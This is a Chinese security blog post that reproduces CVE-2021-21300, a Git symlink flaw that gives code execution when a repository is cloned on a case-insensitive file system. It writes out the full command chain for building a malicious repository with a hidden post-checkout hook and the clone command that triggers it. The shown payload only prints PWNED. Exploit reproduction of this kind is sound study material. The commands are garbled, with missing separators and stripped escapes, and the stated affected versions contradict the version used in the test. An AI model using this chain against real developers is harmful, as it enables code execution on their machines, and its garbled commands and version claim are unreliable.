CVE-2021-21300:Git符号链接代码执行漏洞复现

  • A+
所属分类:安全文章


上方蓝色字体关注我们,一起学安全!
作者:Th1nk@Timeline Sec
本文字数:613
阅读时长:2~3min
声明:仅供学习参考使用,请勿用作违法用途,否则后果自负


0x01 简介

Git 是一个开源的分布式版本控制系统。是 Linus Torvalds 开发的一个开放源码的版本控制软件,采用了分布式版本库的方式,可以有效、高速地处理从很小到非常大的项目。


0x02 漏洞概述

编号:CVE-2021-21300

受影响版本的Git仓库中如果包含符号链接文件,可能会导致在不区分大小写的文件系统克隆时执行刚刚切换分支的脚本。攻击者利用此漏洞可以执行任意代码。


0x03 影响版本
Git < 2.14.6


0x04 环境搭建

1、Windows安装Git-2.17.1-64-bit

https://www.npackd.org/p/git64/2.17.1.2


2、在ubuntu构建恶意仓库并上传到github(执行的命令在第三行命令里)

git init delayed-checkout cd delayed-checkoutecho "A/post-checkout filter=lfs diff=lfs merge=lfs">.gitattributes && mkdir A && printf '#!/bin/shnnecho PWNED >&2n'>A/post-checkout && chmod +x A/post-checkout && >A/a && >A/b && git add -A && rm -rf A && ln -s .git/hooks a && git add a && git commit -m initial


CVE-2021-21300:Git符号链接代码执行漏洞复现


git branch -M maingit remote add origin [自己的仓库地址]git push -u origin main


CVE-2021-21300:Git符号链接代码执行漏洞复现


查看github仓库

校验各文件内容是否正确

如下显示:gitattributes


CVE-2021-21300:Git符号链接代码执行漏洞复现

A/post-checkout(存储在Git LFS中)


CVE-2021-21300:Git符号链接代码执行漏洞复现


0x05 漏洞复现

攻击测试

在win10提供的powershell(管理员)中执行命令如下:

git clone -c core.symlinks=true [自己的仓库地址]


clone后出现 PWNED 即为远程命令执行成功


CVE-2021-21300:Git符号链接代码执行漏洞复现


0x06 修复方式



目前 Git 官方已发布更新修复了该漏洞,安全版本下载链接如下:

https://mirrors.edge.kernel.org/pub/software/scm/git/


CVE-2021-21300:Git符号链接代码执行漏洞复现

CVE-2021-21300:Git符号链接代码执行漏洞复现
阅读原文看更多复现文章
Timeline Sec 团队
安全路上,与你并肩前行





本文始发于微信公众号(Timeline Sec):CVE-2021-21300:Git符号链接代码执行漏洞复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: